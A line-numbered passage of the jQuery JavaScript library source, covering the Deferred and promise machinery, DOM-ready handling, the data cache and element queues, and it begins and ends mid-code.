3334 // Also disable .add unless we have memory (since it would have no effect)
3335 // Abort any pending executions
3336 lock: function() {
3337 locked = queue = [];
3338 if ( !memory && !firing ) {
3339 list = memory = "";
3340 }
3341 return this;
3342 },
3343 locked: function() {
3344 return !!locked;
3345 },
3346
3347 // Call all callbacks with the given context and arguments
3348 fireWith: function( context, args ) {
3349 if ( !locked ) {
3350 args = args || [];
3351 args = [ context, args.slice ? args.slice() : args ];
3352 queue.push( args );
3353 if ( !firing ) {
3354 fire();
3355 }
3356 }
3357 return this;
3358 },
3359
3360 // Call all the callbacks with the given arguments
3361 fire: function() {
3362 self.fireWith( this, arguments );
3363 return this;
3364 },
3365
3366 // To know if the callbacks have already been called at least once
3367 fired: function() {
3368 return !!fired;
3369 }
3370 };
3371
3372 return self;
3373};
3374
3375
3376function Identity( v ) {
3377 return v;
3378}
3379function Thrower( ex ) {
3380 throw ex;
3381}
3382
3383function adoptValue( value, resolve, reject, noValue ) {
3384 var method;
3385
3386 try {
3387
3388 // Check for promise aspect first to privilege synchronous behavior
3389 if ( value && isFunction( ( method = value.promise ) ) ) {
3390 method.call( value ).done( resolve ).fail( reject );
3391
3392 // Other thenables
3393 } else if ( value && isFunction( ( method = value.then ) ) ) {
3394 method.call( value, resolve, reject );
3395
3396 // Other non-thenables
3397 } else {
3398
3399 // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:
3400 // * false: [ value ].slice( 0 ) => resolve( value )
3401 // * true: [ value ].slice( 1 ) => resolve()
3402 resolve.apply( undefined, [ value ].slice( noValue ) );
3403 }
3404
3405 // For Promises/A+, convert exceptions into rejections
3406 // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in
3407 // Deferred#then to conditionally suppress rejection.
3408 } catch ( value ) {
3409
3410 // Support: Android 4.0 only
3411 // Strict mode functions invoked without .call/.apply get global-object context
3412 reject.apply( undefined, [ value ] );
3413 }
3414}
3415
3416jQuery.extend( {
3417
3418 Deferred: function( func ) {
3419 var tuples = [
3420
3421 // action, add listener, callbacks,
3422 // ... .then handlers, argument index, [final state]
3423 [ "notify", "progress", jQuery.Callbacks( "memory" ),
3424 jQuery.Callbacks( "memory" ), 2 ],
3425 [ "resolve", "done", jQuery.Callbacks( "once memory" ),
3426 jQuery.Callbacks( "once memory" ), 0, "resolved" ],
3427 [ "reject", "fail", jQuery.Callbacks( "once memory" ),
3428 jQuery.Callbacks( "once memory" ), 1, "rejected" ]
3429 ],
3430 state = "pending",
3431 promise = {
3432 state: function() {
3433 return state;
3434 },
3435 always: function() {
3436 deferred.done( arguments ).fail( arguments );
3437 return this;
3438 },
3439 "catch": function( fn ) {
3440 return promise.then( null, fn );
3441 },
3442
3443 // Keep pipe for back-compat
3444 pipe: function( /* fnDone, fnFail, fnProgress */ ) {
3445 var fns = arguments;
3446
3447 return jQuery.Deferred( function( newDefer ) {
3448 jQuery.each( tuples, function( _i, tuple ) {
3449
3450 // Map tuples (progress, done, fail) to arguments (done, fail, progress)
3451 var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];
3452
3453 // deferred.progress(function() { bind to newDefer or newDefer.notify })
3454 // deferred.done(function() { bind to newDefer or newDefer.resolve })
3455 // deferred.fail(function() { bind to newDefer or newDefer.reject })
3456 deferred[ tuple[ 1 ] ]( function() {
3457 var returned = fn && fn.apply( this, arguments );
3458 if ( returned && isFunction( returned.promise ) ) {
3459 returned.promise()
3460 .progress( newDefer.notify )
3461 .done( newDefer.resolve )
3462 .fail( newDefer.reject );
3463 } else {
3464 newDefer[ tuple[ 0 ] + "With" ](
3465 this,
3466 fn ? [ returned ] : arguments
3467 );
3468 }
3469 } );
3470 } );
3471 fns = null;
3472 } ).promise();
3473 },
3474 then: function( onFulfilled, onRejected, onProgress ) {
3475 var maxDepth = 0;
3476 function resolve( depth, deferred, handler, special ) {
3477 return function() {
3478 var that = this,
3479 args = arguments,
3480 mightThrow = function() {
3481 var returned, then;
3482
3483 // Support: Promises/A+ section 2.3.3.3.3
3484 // https://promisesaplus.com/#point-59
3485 // Ignore double-resolution attempts
3486 if ( depth < maxDepth ) {
3487 return;
3488 }
3489
3490 returned = handler.apply( that, args );
3491
3492 // Support: Promises/A+ section 2.3.1
3493 // https://promisesaplus.com/#point-48
3494 if ( returned === deferred.promise() ) {
3495 throw new TypeError( "Thenable self-resolution" );
3496 }
3497
3498 // Support: Promises/A+ sections 2.3.3.1, 3.5
3499 // https://promisesaplus.com/#point-54
3500 // https://promisesaplus.com/#point-75
3501 // Retrieve `then` only once
3502 then = returned &&
3503
3504 // Support: Promises/A+ section 2.3.4
3505 // https://promisesaplus.com/#point-64
3506 // Only check objects and functions for thenability
3507 ( typeof returned === "object" ||
3508 typeof returned === "function" ) &&
3509 returned.then;
3510
3511 // Handle a returned thenable
3512 if ( isFunction( then ) ) {
3513
3514 // Special processors (notify) just wait for resolution
3515 if ( special ) {
3516 then.call(
3517 returned,
3518 resolve( maxDepth, deferred, Identity, special ),
3519 resolve( maxDepth, deferred, Thrower, special )
3520 );
3521
3522 // Normal processors (resolve) also hook into progress
3523 } else {
3524
3525 // ...and disregard older resolution values
3526 maxDepth++;
3527
3528 then.call(
3529 returned,
3530 resolve( maxDepth, deferred, Identity, special ),
3531 resolve( maxDepth, deferred, Thrower, special ),
3532 resolve( maxDepth, deferred, Identity,
3533 deferred.notifyWith )
3534 );
3535 }
3536
3537 // Handle all other returned values
3538 } else {
3539
3540 // Only substitute handlers pass on context
3541 // and multiple values (non-spec behavior)
3542 if ( handler !== Identity ) {
3543 that = undefined;
3544 args = [ returned ];
3545 }
3546
3547 // Process the value(s)
3548 // Default process is resolve
3549 ( special || deferred.resolveWith )( that, args );
3550 }
3551 },
3552
3553 // Only normal processors (resolve) catch and reject exceptions
3554 process = special ?
3555 mightThrow :
3556 function() {
3557 try {
3558 mightThrow();
3559 } catch ( e ) {
3560
3561 if ( jQuery.Deferred.exceptionHook ) {
3562 jQuery.Deferred.exceptionHook( e,
3563 process.error );
3564 }
3565
3566 // Support: Promises/A+ section 2.3.3.3.4.1
3567 // https://promisesaplus.com/#point-61
3568 // Ignore post-resolution exceptions
3569 if ( depth + 1 >= maxDepth ) {
3570
3571 // Only substitute handlers pass on context
3572 // and multiple values (non-spec behavior)
3573 if ( handler !== Thrower ) {
3574 that = undefined;
3575 args = [ e ];
3576 }
3577
3578 deferred.rejectWith( that, args );
3579 }
3580 }
3581 };
3582
3583 // Support: Promises/A+ section 2.3.3.3.1
3584 // https://promisesaplus.com/#point-57
3585 // Re-resolve promises immediately to dodge false rejection from
3586 // subsequent errors
3587 if ( depth ) {
3588 process();
3589 } else {
3590
3591 // Call an optional hook to record the error, in case of exception
3592 // since it's otherwise lost when execution goes async
3593 if ( jQuery.Deferred.getErrorHook ) {
3594 process.error = jQuery.Deferred.getErrorHook();
3595
3596 // The deprecated alias of the above. While the name suggests
3597 // returning the stack, not an error instance, jQuery just passes
3598 // it directly to `console.warn` so both will work; an instance
3599 // just better cooperates with source maps.
3600 } else if ( jQuery.Deferred.getStackHook ) {
3601 process.error = jQuery.Deferred.getStackHook();
3602 }
3603 window.setTimeout( process );
3604 }
3605 };
3606 }
3607
3608 return jQuery.Deferred( function( newDefer ) {
3609
3610 // progress_handlers.add( ... )
3611 tuples[ 0 ][ 3 ].add(
3612 resolve(
3613 0,
3614 newDefer,
3615 isFunction( onProgress ) ?
3616 onProgress :
3617 Identity,
3618 newDefer.notifyWith
3619 )
3620 );
3621
3622 // fulfilled_handlers.add( ... )
3623 tuples[ 1 ][ 3 ].add(
3624 resolve(
3625 0,
3626 newDefer,
3627 isFunction( onFulfilled ) ?
3628 onFulfilled :
3629 Identity
3630 )
3631 );
3632
3633 // rejected_handlers.add( ... )
3634 tuples[ 2 ][ 3 ].add(
3635 resolve(
3636 0,
3637 newDefer,
3638 isFunction( onRejected ) ?
3639 onRejected :
3640 Thrower
3641 )
3642 );
3643 } ).promise();
3644 },
3645
3646 // Get a promise for this deferred
3647 // If obj is provided, the promise aspect is added to the object
3648 promise: function( obj ) {
3649 return obj != null ? jQuery.extend( obj, promise ) : promise;
3650 }
3651 },
3652 deferred = {};
3653
3654 // Add list-specific methods
3655 jQuery.each( tuples, function( i, tuple ) {
3656 var list = tuple[ 2 ],
3657 stateString = tuple[ 5 ];
3658
3659 // promise.progress = list.add
3660 // promise.done = list.add
3661 // promise.fail = list.add
3662 promise[ tuple[ 1 ] ] = list.add;
3663
3664 // Handle state
3665 if ( stateString ) {
3666 list.add(
3667 function() {
3668
3669 // state = "resolved" (i.e., fulfilled)
3670 // state = "rejected"
3671 state = stateString;
3672 },
3673
3674 // rejected_callbacks.disable
3675 // fulfilled_callbacks.disable
3676 tuples[ 3 - i ][ 2 ].disable,
3677
3678 // rejected_handlers.disable
3679 // fulfilled_handlers.disable
3680 tuples[ 3 - i ][ 3 ].disable,
3681
3682 // progress_callbacks.lock
3683 tuples[ 0 ][ 2 ].lock,
3684
3685 // progress_handlers.lock
3686 tuples[ 0 ][ 3 ].lock
3687 );
3688 }
3689
3690 // progress_handlers.fire
3691 // fulfilled_handlers.fire
3692 // rejected_handlers.fire
3693 list.add( tuple[ 3 ].fire );
3694
3695 // deferred.notify = function() { deferred.notifyWith(...) }
3696 // deferred.resolve = function() { deferred.resolveWith(...) }
3697 // deferred.reject = function() { deferred.rejectWith(...) }
3698 deferred[ tuple[ 0 ] ] = function() {
3699 deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments );
3700 return this;
3701 };
3702
3703 // deferred.notifyWith = list.fireWith
3704 // deferred.resolveWith = list.fireWith
3705 // deferred.rejectWith = list.fireWith
3706 deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
3707 } );
3708
3709 // Make the deferred a promise
3710 promise.promise( deferred );
3711
3712 // Call given func if any
3713 if ( func ) {
3714 func.call( deferred, deferred );
3715 }
3716
3717 // All done!
3718 return deferred;
3719 },
3720
3721 // Deferred helper
3722 when: function( singleValue ) {
3723 var
3724
3725 // count of uncompleted subordinates
3726 remaining = arguments.length,
3727
3728 // count of unprocessed arguments
3729 i = remaining,
3730
3731 // subordinate fulfillment data
3732 resolveContexts = Array( i ),
3733 resolveValues = slice.call( arguments ),
3734
3735 // the primary Deferred
3736 primary = jQuery.Deferred(),
3737
3738 // subordinate callback factory
3739 updateFunc = function( i ) {
3740 return function( value ) {
3741 resolveContexts[ i ] = this;
3742 resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
3743 if ( !( --remaining ) ) {
3744 primary.resolveWith( resolveContexts, resolveValues );
3745 }
3746 };
3747 };
3748
3749 // Single- and empty arguments are adopted like Promise.resolve
3750 if ( remaining <= 1 ) {
3751 adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject,
3752 !remaining );
3753
3754 // Use .then() to unwrap secondary thenables (cf. gh-3000)
3755 if ( primary.state() === "pending" ||
3756 isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {
3757
3758 return primary.then();
3759 }
3760 }
3761
3762 // Multiple arguments are aggregated like Promise.all array elements
3763 while ( i-- ) {
3764 adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject );
3765 }
3766
3767 return primary.promise();
3768 }
3769} );
3770
3771
3772// These usually indicate a programmer mistake during development,
3773// warn about them ASAP rather than swallowing them by default.
3774var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
3775
3776// If `jQuery.Deferred.getErrorHook` is defined, `asyncError` is an error
3777// captured before the async barrier to get the original error cause
3778// which may otherwise be hidden.
3779jQuery.Deferred.exceptionHook = function( error, asyncError ) {
3780
3781 // Support: IE 8 - 9 only
3782 // Console exists when dev tools are open, which can happen at any time
3783 if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {
3784 window.console.warn( "jQuery.Deferred exception: " + error.message,
3785 error.stack, asyncError );
3786 }
3787};
3788
3789
3790
3791
3792jQuery.readyException = function( error ) {
3793 window.setTimeout( function() {
3794 throw error;
3795 } );
3796};
3797
3798
3799
3800
3801// The deferred used on DOM ready
3802var readyList = jQuery.Deferred();
3803
3804jQuery.fn.ready = function( fn ) {
3805
3806 readyList
3807 .then( fn )
3808
3809 // Wrap jQuery.readyException in a function so that the lookup
3810 // happens at the time of error handling instead of callback
3811 // registration.
3812 .catch( function( error ) {
3813 jQuery.readyException( error );
3814 } );
3815
3816 return this;
3817};
3818
3819jQuery.extend( {
3820
3821 // Is the DOM ready to be used? Set to true once it occurs.
3822 isReady: false,
3823
3824 // A counter to track how many items to wait for before
3825 // the ready event fires. See trac-6781
3826 readyWait: 1,
3827
3828 // Handle when the DOM is ready
3829 ready: function( wait ) {
3830
3831 // Abort if there are pending holds or we're already ready
3832 if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
3833 return;
3834 }
3835
3836 // Remember that the DOM is ready
3837 jQuery.isReady = true;
3838
3839 // If a normal DOM Ready event fired, decrement, and wait if need be
3840 if ( wait !== true && --jQuery.readyWait > 0 ) {
3841 return;
3842 }
3843
3844 // If there are functions bound, to execute
3845 readyList.resolveWith( document, [ jQuery ] );
3846 }
3847} );
3848
3849jQuery.ready.then = readyList.then;
3850
3851// The ready event handler and self cleanup method
3852function completed() {
3853 document.removeEventListener( "DOMContentLoaded", completed );
3854 window.removeEventListener( "load", completed );
3855 jQuery.ready();
3856}
3857
3858// Catch cases where $(document).ready() is called
3859// after the browser event has already occurred.
3860// Support: IE <=9 - 10 only
3861// Older IE sometimes signals "interactive" too soon
3862if ( document.readyState === "complete" ||
3863 ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {
3864
3865 // Handle it asynchronously to allow scripts the opportunity to delay ready
3866 window.setTimeout( jQuery.ready );
3867
3868} else {
3869
3870 // Use the handy event callback
3871 document.addEventListener( "DOMContentLoaded", completed );
3872
3873 // A fallback to window.onload, that will always work
3874 window.addEventListener( "load", completed );
3875}
3876
3877
3878
3879
3880// Multifunctional method to get and set values of a collection
3881// The value/s can optionally be executed if it's a function
3882var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
3883 var i = 0,
3884 len = elems.length,
3885 bulk = key == null;
3886
3887 // Sets many values
3888 if ( toType( key ) === "object" ) {
3889 chainable = true;
3890 for ( i in key ) {
3891 access( elems, fn, i, key[ i ], true, emptyGet, raw );
3892 }
3893
3894 // Sets one value
3895 } else if ( value !== undefined ) {
3896 chainable = true;
3897
3898 if ( !isFunction( value ) ) {
3899 raw = true;
3900 }
3901
3902 if ( bulk ) {
3903
3904 // Bulk operations run against the entire set
3905 if ( raw ) {
3906 fn.call( elems, value );
3907 fn = null;
3908
3909 // ...except when executing function values
3910 } else {
3911 bulk = fn;
3912 fn = function( elem, _key, value ) {
3913 return bulk.call( jQuery( elem ), value );
3914 };
3915 }
3916 }
3917
3918 if ( fn ) {
3919 for ( ; i < len; i++ ) {
3920 fn(
3921 elems[ i ], key, raw ?
3922 value :
3923 value.call( elems[ i ], i, fn( elems[ i ], key ) )
3924 );
3925 }
3926 }
3927 }
3928
3929 if ( chainable ) {
3930 return elems;
3931 }
3932
3933 // Gets
3934 if ( bulk ) {
3935 return fn.call( elems );
3936 }
3937
3938 return len ? fn( elems[ 0 ], key ) : emptyGet;
3939};
3940
3941
3942// Matches dashed string for camelizing
3943var rmsPrefix = /^-ms-/,
3944 rdashAlpha = /-([a-z])/g;
3945
3946// Used by camelCase as callback to replace()
3947function fcamelCase( _all, letter ) {
3948 return letter.toUpperCase();
3949}
3950
3951// Convert dashed to camelCase; used by the css and data modules
3952// Support: IE <=9 - 11, Edge 12 - 15
3953// Microsoft forgot to hump their vendor prefix (trac-9572)
3954function camelCase( string ) {
3955 return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
3956}
3957var acceptData = function( owner ) {
3958
3959 // Accepts only:
3960 // - Node
3961 // - Node.ELEMENT_NODE
3962 // - Node.DOCUMENT_NODE
3963 // - Object
3964 // - Any
3965 return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
3966};
3967
3968
3969
3970
3971function Data() {
3972 this.expando = jQuery.expando + Data.uid++;
3973}
3974
3975Data.uid = 1;
3976
3977Data.prototype = {
3978
3979 cache: function( owner ) {
3980
3981 // Check if the owner object already has a cache
3982 var value = owner[ this.expando ];
3983
3984 // If not, create one
3985 if ( !value ) {
3986 value = {};
3987
3988 // We can accept data for non-element nodes in modern browsers,
3989 // but we should not, see trac-8335.
3990 // Always return an empty object.
3991 if ( acceptData( owner ) ) {
3992
3993 // If it is a node unlikely to be stringify-ed or looped over
3994 // use plain assignment
3995 if ( owner.nodeType ) {
3996 owner[ this.expando ] = value;
3997
3998 // Otherwise secure it in a non-enumerable property
3999 // configurable must be true to allow the property to be
4000 // deleted when data is removed
4001 } else {
4002 Object.defineProperty( owner, this.expando, {
4003 value: value,
4004 configurable: true
4005 } );
4006 }
4007 }
4008 }
4009
4010 return value;
4011 },
4012 set: function( owner, data, value ) {
4013 var prop,
4014 cache = this.cache( owner );
4015
4016 // Handle: [ owner, key, value ] args
4017 // Always use camelCase key (gh-2257)
4018 if ( typeof data === "string" ) {
4019 cache[ camelCase( data ) ] = value;
4020
4021 // Handle: [ owner, { properties } ] args
4022 } else {
4023
4024 // Copy the properties one-by-one to the cache object
4025 for ( prop in data ) {
4026 cache[ camelCase( prop ) ] = data[ prop ];
4027 }
4028 }
4029 return cache;
4030 },
4031 get: function( owner, key ) {
4032 return key === undefined ?
4033 this.cache( owner ) :
4034
4035 // Always use camelCase key (gh-2257)
4036 owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];
4037 },
4038 access: function( owner, key, value ) {
4039
4040 // In cases where either:
4041 //
4042 // 1. No key was specified
4043 // 2. A string key was specified, but no value provided
4044 //
4045 // Take the "read" path and allow the get method to determine
4046 // which value to return, respectively either:
4047 //
4048 // 1. The entire cache object
4049 // 2. The data stored at the key
4050 //
4051 if ( key === undefined ||
4052 ( ( key && typeof key === "string" ) && value === undefined ) ) {
4053
4054 return this.get( owner, key );
4055 }
4056
4057 // When the key is not a string, or both a key and value
4058 // are specified, set or extend (existing objects) with either:
4059 //
4060 // 1. An object of properties
4061 // 2. A key and value
4062 //
4063 this.set( owner, key, value );
4064
4065 // Since the "set" path can have two possible entry points
4066 // return the expected data based on which path was taken[*]
4067 return value !== undefined ? value : key;
4068 },
4069 remove: function( owner, key ) {
4070 var i,
4071 cache = owner[ this.expando ];
4072
4073 if ( cache === undefined ) {
4074 return;
4075 }
4076
4077 if ( key !== undefined ) {
4078
4079 // Support array or space separated string of keys
4080 if ( Array.isArray( key ) ) {
4081
4082 // If key is an array of keys...
4083 // We always set camelCase keys, so remove that.
4084 key = key.map( camelCase );
4085 } else {
4086 key = camelCase( key );
4087
4088 // If a key with the spaces exists, use it.
4089 // Otherwise, create an array by matching non-whitespace
4090 key = key in cache ?
4091 [ key ] :
4092 ( key.match( rnothtmlwhite ) || [] );
4093 }
4094
4095 i = key.length;
4096
4097 while ( i-- ) {
4098 delete cache[ key[ i ] ];
4099 }
4100 }
4101
4102 // Remove the expando if there's no more data
4103 if ( key === undefined || jQuery.isEmptyObject( cache ) ) {
4104
4105 // Support: Chrome <=35 - 45
4106 // Webkit & Blink performance suffers when deleting properties
4107 // from DOM nodes, so set to undefined instead
4108 // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)
4109 if ( owner.nodeType ) {
4110 owner[ this.expando ] = undefined;
4111 } else {
4112 delete owner[ this.expando ];
4113 }
4114 }
4115 },
4116 hasData: function( owner ) {
4117 var cache = owner[ this.expando ];
4118 return cache !== undefined && !jQuery.isEmptyObject( cache );
4119 }
4120};
4121var dataPriv = new Data();
4122
4123var dataUser = new Data();
4124
4125
4126
4127// Implementation Summary
4128//
4129// 1. Enforce API surface and semantic compatibility with 1.9.x branch
4130// 2. Improve the module's maintainability by reducing the storage
4131// paths to a single mechanism.
4132// 3. Use the same single mechanism to support "private" and "user" data.
4133// 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
4134// 5. Avoid exposing implementation details on user objects (eg. expando properties)
4135// 6. Provide a clear path for implementation upgrade to WeakMap in 2014
4136
4137var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
4138 rmultiDash = /[A-Z]/g;
4139
4140function getData( data ) {
4141 if ( data === "true" ) {
4142 return true;
4143 }
4144
4145 if ( data === "false" ) {
4146 return false;
4147 }
4148
4149 if ( data === "null" ) {
4150 return null;
4151 }
4152
4153 // Only convert to a number if it doesn't change the string
4154 if ( data === +data + "" ) {
4155 return +data;
4156 }
4157
4158 if ( rbrace.test( data ) ) {
4159 return JSON.parse( data );
4160 }
4161
4162 return data;
4163}
4164
4165function dataAttr( elem, key, data ) {
4166 var name;
4167
4168 // If nothing was found internally, try to fetch any
4169 // data from the HTML5 data-* attribute
4170 if ( data === undefined && elem.nodeType === 1 ) {
4171 name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase();
4172 data = elem.getAttribute( name );
4173
4174 if ( typeof data === "string" ) {
4175 try {
4176 data = getData( data );
4177 } catch ( e ) {}
4178
4179 // Make sure we set the data so it isn't changed later
4180 dataUser.set( elem, key, data );
4181 } else {
4182 data = undefined;
4183 }
4184 }
4185 return data;
4186}
4187
4188jQuery.extend( {
4189 hasData: function( elem ) {
4190 return dataUser.hasData( elem ) || dataPriv.hasData( elem );
4191 },
4192
4193 data: function( elem, name, data ) {
4194 return dataUser.access( elem, name, data );
4195 },
4196
4197 removeData: function( elem, name ) {
4198 dataUser.remove( elem, name );
4199 },
4200
4201 // TODO: Now that all calls to _data and _removeData have been replaced
4202 // with direct calls to dataPriv methods, these can be deprecated.
4203 _data: function( elem, name, data ) {
4204 return dataPriv.access( elem, name, data );
4205 },
4206
4207 _removeData: function( elem, name ) {
4208 dataPriv.remove( elem, name );
4209 }
4210} );
4211
4212jQuery.fn.extend( {
4213 data: function( key, value ) {
4214 var i, name, data,
4215 elem = this[ 0 ],
4216 attrs = elem && elem.attributes;
4217
4218 // Gets all values
4219 if ( key === undefined ) {
4220 if ( this.length ) {
4221 data = dataUser.get( elem );
4222
4223 if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) {
4224 i = attrs.length;
4225 while ( i-- ) {
4226
4227 // Support: IE 11 only
4228 // The attrs elements can be null (trac-14894)
4229 if ( attrs[ i ] ) {
4230 name = attrs[ i ].name;
4231 if ( name.indexOf( "data-" ) === 0 ) {
4232 name = camelCase( name.slice( 5 ) );
4233 dataAttr( elem, name, data[ name ] );
4234 }
4235 }
4236 }
4237 dataPriv.set( elem, "hasDataAttrs", true );
4238 }
4239 }
4240
4241 return data;
4242 }
4243
4244 // Sets multiple values
4245 if ( typeof key === "object" ) {
4246 return this.each( function() {
4247 dataUser.set( this, key );
4248 } );
4249 }
4250
4251 return access( this, function( value ) {
4252 var data;
4253
4254 // The calling jQuery object (element matches) is not empty
4255 // (and therefore has an element appears at this[ 0 ]) and the
4256 // `value` parameter was not undefined. An empty jQuery object
4257 // will result in `undefined` for elem = this[ 0 ] which will
4258 // throw an exception if an attempt to read a data cache is made.
4259 if ( elem && value === undefined ) {
4260
4261 // Attempt to get data from the cache
4262 // The key will always be camelCased in Data
4263 data = dataUser.get( elem, key );
4264 if ( data !== undefined ) {
4265 return data;
4266 }
4267
4268 // Attempt to "discover" the data in
4269 // HTML5 custom data-* attrs
4270 data = dataAttr( elem, key );
4271 if ( data !== undefined ) {
4272 return data;
4273 }
4274
4275 // We tried really hard, but the data doesn't exist.
4276 return;
4277 }
4278
4279 // Set the data...
4280 this.each( function() {
4281
4282 // We always store the camelCased key
4283 dataUser.set( this, key, value );
4284 } );
4285 }, null, value, arguments.length > 1, null, true );
4286 },
4287
4288 removeData: function( key ) {
4289 return this.each( function() {
4290 dataUser.remove( this, key );
4291 } );
4292 }
4293} );
4294
4295
4296jQuery.extend( {
4297 queue: function( elem, type, data ) {
4298 var queue;
4299
4300 if ( elem ) {
4301 type = ( type || "fx" ) + "queue";
4302 queue = dataPriv.get( elem, type );
4303
4304 // Speed up dequeue by getting out quickly if this is just a lookup
4305 if ( data ) {
4306 if ( !queue || Array.isArray( data ) ) {
4307 queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );
4308 } else {
4309 queue.push( data );
4310 }
4311 }
4312 return queue || [];
4313 }
4314 },
4315
4316 dequeue: function( elem, type ) {
4317 type = type || "fx";
4318
4319 var queue = jQuery.queue( elem, type ),
4320 startLength = queue.length,
4321 fn = queue.shift(),
4322 hooks = jQuery._queueHooks( elem, type ),
4323 next = function() {
4324 jQuery.dequeue( elem, type );
4325 };
4326
4327 // If the fx queue is dequeued, always remove the progress sentinel
4328 if ( fn === "inprogress" ) {
4329 fn = queue.shift();
4330 startLength--;
4331 }
4332
4333 if ( fn ) {
4334
4335 // Add a progress sentinel to prevent the fx queue from being
4336 // automatically dequeued
4337 if ( type === "fx" ) {
4338 queue.unshift( "inprogress" );
4339 }
4340
4341 // Clear up the last queue stop function
4342 delete hooks.stop;
4343 fn.call( elem, next, hooks );
4344 }
4345
4346 if ( !startLength && hooks ) {
4347 hooks.empty.fire();
4348 }
4349 },
4350
4351 // Not public - generate a queueHooks object, or return the current one
4352 _queueHooks: function( elem, type ) {
4353 var key = type + "queueHooks";
4354 return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {
4355 empty: jQuery.Callbacks( "once memory" ).add( function() {
4356 dataPriv.remove( elem, [ type + "queue", key ] );
4357 } )
4358 } );
4359 }
4360} );
4361
4362jQuery.fn.extend( {
4363 queue: function( type, data ) {
4364 var setter = 2;
4365
4366 if ( typeof type !== "string" ) {
4367 data = type;
4368 type = "fx";
4369 setter--;
4370 }
4371
4372 if ( arguments.length < setter ) {
4373 return jQuery.queue( this[ 0 ], type );
4374 }
4375
4376 return data === undefined ?
4377 this :
4378 this.each( function() {
4379 var queue = jQuery.queue( this, type, data );
4380
4381 // Ensure a hooks for this queue
4382 jQuery._queueHooks( this, type );
4383
4384 if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
4385 jQuery.dequeue( this, type );
4386 }
4387 } );
4388 },
4389 dequeue: function( type ) {
4390 return this.each( function() {
4391 jQuery.dequeue( this, type );
4392 } );
4393 },
4394 clearQueue: function( type ) {
4395 return this.queue( type || "fx", [] );
4396 },
4397
4398 // Get a promise resolved when queues of a certain type
4399 // are emptied (fx is the type by default)
4400 promise: function( type, obj ) {
4401 var tmp,
4402 count = 1,
4403 defer = jQuery.Deferred(),
4404 elements = this,
4405 i = this.length,
4406 resolve = function() {
4407 if ( !( --count ) ) {
4408 defer.resolveWith( elements, [ elements ] );
4409 }
4410 };
4411
4412 if ( typeof type !== "string" ) {
4413 obj = type;
4414 type = undefined;
4415 }
4416 type = type || "fx";
4417
4418 while ( i-- ) {
4419 tmp = dataPriv.get( elements[ i ], type + "queueHooks" );
4420 if ( tmp && tmp.empty ) {
4421 count++;
4422 tmp.empty.add( resolve );
4423 }
4424 }
4425 resolve();
4426 return defer.promise( obj );
4427 }
4428} );
4429var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
4430
4431var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
4432
4433
4434var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
4435
4436var documentElement = document.documentElement;
4437
4438
4439
4440 var isAttached = function( elem ) {
4441 return jQuery.contains( elem.ownerDocument, elem );
4442 },
4443 composed = { composed: true };
4444
4445 // Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only
4446 // Check attachment across shadow DOM boundaries when possible (gh-3504)
4447 // Support: iOS 10.0-10.2 only
4448 // Early iOS 10 versions support `attachShadow` but not `getRootNode`,
4449 // leading to errors. We need to check for `getRootNode`.
4450 if ( documentElement.getRootNode ) {
4451 isAttached = function( elem ) {
4452 return jQuery.contains( elem.ownerDocument, elem ) ||
4453 elem.getRootNode( composed ) === elem.ownerDocument;
4454 };
4455 }
4456var isHiddenWithinTree = function( elem, el ) {
4457
4458 // isHiddenWithinTree might be called from jQuery#filter function;
4459 // in that case, element will be second argument
4460 elem = el || elem;
4461
4462 // Inline style trumps all
4463 return elem.style.display === "none" ||
4464 elem.style.display === "" &&
4465
4466 // Otherwise, check computed style
4467 // Support: Firefox <=43 - 45
4468 // Disconnected elements can have computed display: none, so first confirm that elem is
4469 // in the document.
4470 isAttached( elem ) &&
4471
4472 jQuery.css( elem, "display" ) === "none";
4473 };
4474
4475
4476
4477function adjustCSS( elem, prop, valueParts, tween ) {
4478 var adjusted, scale,
4479 maxIterations = 20,
4480 currentValue = tween ?
4481 function() {
4482 return tween.cur();
4483 } :
4484 function() {
4485 return jQuery.css( elem, prop, "" );
4486 },
4487 initial = currentValue(),
4488 unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
4489
4490 // Starting value computation is required for potential unit mismatches
4491 initialInUnit = elem.nodeType &&
4492 ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) &&
4493 rcssNum.exec( jQuery.css( elem, prop ) );
4494
4495 if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {
4496
4497 // Support: Firefox <=54
4498 // Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)
4499 initial = initial / 2;
4500
4501 // Trust units reported by jQuery.css
4502 unit = unit || initialInUnit[ 3 ];
4503
4504 // Iteratively approximate from a nonzero starting point
4505 initialInUnit = +initial || 1;
4506
4507 while ( maxIterations-- ) {
4508
4509 // Evaluate and update our best guess (doubling guesses that zero out).
4510 // Finish if the scale equals or crosses 1 (making the old*new product non-positive).
